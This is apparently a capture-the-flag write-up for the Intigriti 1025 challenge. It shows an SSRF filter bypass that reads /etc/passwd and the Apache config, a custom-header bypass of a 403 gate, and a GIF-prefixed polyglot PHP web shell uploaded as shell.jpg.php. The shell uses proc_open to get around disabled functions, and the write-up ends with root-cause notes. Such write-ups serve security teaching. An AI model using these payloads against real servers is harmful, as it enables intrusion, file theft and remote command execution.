Intigriti 1025 RCE Challenge - Writeup
Challenge: challenge-1025.intigriti.io
Flag: INTIGRITI{ngks896sdjvsjnv6383utbgn}
Summary
I found a server-side request forgery (SSRF) that allowed local file reads and, by combining several weaknesses, resulted in remote code execution (RCE) on the target. The attack chain exploited a lax URL/scheme check, a hidden Apache header-based auth gate, weak upload validation that relied on mime_content_type() and filename checks, and the presence of the proc_open function (which was not disabled). The final payload uploaded a polyglot file that passed the checks and provided command execution via proc_open.
Steps I followed
1. Discover SSRF and local file read
- Visited:
https://challenge-1025.intigriti.io/challenge.phpand observed input that performs server-side URL fetches (SSRF). - Tried using
file://to read local files (for examplefile:///etc/passwd) but received:Invalid URL: must include 'http'
- Bypassed this check by embedding the string
httpinside afile://payload. Example:file:///http/../../etc/passwd
This allowed me to read local files.
2. Inspect webroot and find the upload page
- Used the SSRF to enumerate
/var/www/htmland retrievedupload_shoppix_images.php:https://challenge-1025.intigriti.io/challenge.php?url=file:///http/../../var/www/html/upload_shoppix_images.php upload_shoppix_images.phpcontains a loose upload validation routine:if ($_SERVER['REQUEST_METHOD'] === 'POST') { $file = $_FILES['image']; $filename = $file['name']; $tmp = $file['tmp_name']; $mime = mime_content_type($tmp); if ( strpos($mime, "image/") === 0 && (stripos($filename, ".png") !== false || stripos($filename, ".jpg") !== false || stripos($filename, ".jpeg") !== false) ) { move_uploaded_file($tmp, "uploads/" . basename($filename)); echo "<p style='color:#00e676'>✅ File uploaded successfully to /uploads/ directory!</p>"; } else { echo "<p style='color:#ff5252'>❌ Invalid file format</p>"; } }
3. Hidden access control via Apache configuration
- Attempting to access
/upload_shoppix_images.phpreturned403 Forbidden.
- Using the SSRF to read Apache config showed an access rule: file:///http/../../etc/apache2/sites-available/000-default.conf
<Files "upload_shoppix_images.php"> <If "%{HTTP:is-shoppix-admin} != 'true'"> Require all denied </If> Require all granted </Files> - This revealed a server-side header check: requests must set
Is-Shoppix-Admin: trueto bypass the 403.
4. Bypassing upload checks & uploading a polyglot file
- There are two checks:
mime_content_type()must start withimage/.- Filename must contain
.png,.jpg, or.jpeg(case-insensitive).
- I uploaded a polyglot file that satisfied both checks:
- Prepend a valid GIF header (
GIF87a) somime_content_type()reports an image. - Name the file
shell.jpg.phpso the filename check passes while the file still executes as PHP on the server.
Example multipart payload (raw form for clarity):POST /upload_shoppix_images.php HTTP/2 Host: challenge-1025.intigriti.io Is-Shoppix-Admin: true Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJdKYHhIRrjUoowPR ------WebKitFormBoundaryJdKYHhIRrjUoowPR Content-Disposition: form-data; name="image"; filename="shell.jpg.php" GIF87a <?php system($_GET['cmd']) ?> ------WebKitFormBoundaryJdKYHhIRrjUoowPR--GIF87afools the MIME sniffing into thinking this is an image. The filenameshell.jpg.phppasses the loose filename extension check.
- Prepend a valid GIF header (
5. Initial command execution and disabled functions
- After uploading, visiting:
https://challenge-1025.intigriti.io/uploads/shell.jpg.php?cmd=whoami
returned a PHP fatal error:Call to undefined function system()
indicating dangerous functions likesystemwere disabled.
6. Check which functions are disabled
- Uploaded a
phpinfo()file to inspect configuration and disabled functions (using the same upload technique). From this I confirmed which functions were disabled and thatproc_openwas available.
7. Final RCE using proc_open
- Replaced the payload with a
proc_openbased stub which is not disabled:GIF87a <?php $d=[0=>["pipe","r"],1=>["pipe","w"],2=>["pipe","w"]];$p=proc_open($_GET['cmd'],$d,$pipes);echo stream_get_contents($pipes[1])?>
- List root with
https://challenge-1025.intigriti.io/uploads/shell.jpg.php?cmd=ls%20/
- Read the flag:
https://challenge-1025.intigriti.io/uploads/shell.jpg.php?cmd=cat%20/93e892fe-c0af-44a1-9308-5a58548abd98.txt
Root causes & technical notes
- SSRF validation relied on a brittle string check that required the payload to include
http. This allowed creative payloads likefile:///http/../../...to reach local files. - Access control enforced by a custom header (
Is-Shoppix-Admin) is only as secure as the server-side enforcement; in this case it was bypassable for SSRF-based file reads and then settable for direct POSTs. - Upload validation relied on
mime_content_type()and filename substring checks, both of which can be fooled:mime_content_type()can be tricked by a file header (polyglot).- Checking filename for
.jpg/.pngsubstrings allows names likeshell.jpg.php.
- PHP dangerous functions were mostly disabled, but
proc_openremained enabled and provided a reliable execution primitive. - Uploaded files were placed in a web-accessible
uploads/directory, making execution trivial once a PHP handler file was present.